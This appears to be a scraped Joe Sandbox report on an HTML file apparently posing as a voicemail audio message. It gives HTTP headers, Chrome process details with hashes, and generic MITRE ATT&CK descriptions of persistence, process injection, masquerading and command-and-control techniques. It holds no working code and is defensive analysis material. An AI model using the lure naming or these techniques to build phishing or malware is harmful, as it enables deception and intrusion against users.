2025-01-08 16:19:12 UTC	900	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JW7DxsGNU9jEykNFkev1VZOwBdB5fzchp5tIknCQ3lxRgQPlW0AUt4OvyCRB0p3%2F7FvAq%2FdsB5oiwXBcSQwTcUl9sx305gBIUyu69ggmIjqlJI9X6eYK3iRmYgARQGGScjpgzur2wFb%2FhPY9BExY%2FUxijrt2ypzZsLT5oq1vAgvlKyecKzrph%2BXNxnrDdNVbNViMLlg6ZsAGt7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed8201ee92c461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1645&rtt_var=620&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1050&delivery_rate=1761158&cwnd=228&unsent_bytes=0&cid=a1774992404ca55c&ts=593&x=0"
2025-01-08 16:19:12 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-08 16:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:18:21
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowAccountingAudiowav011.html
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:18:22
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1856,i,4395295894510598128,5928526936664800396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Play_VM-NowAccountingAudiowav011.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Windows Analysis Report
Play_VM-NowAccountingAudiowav011.html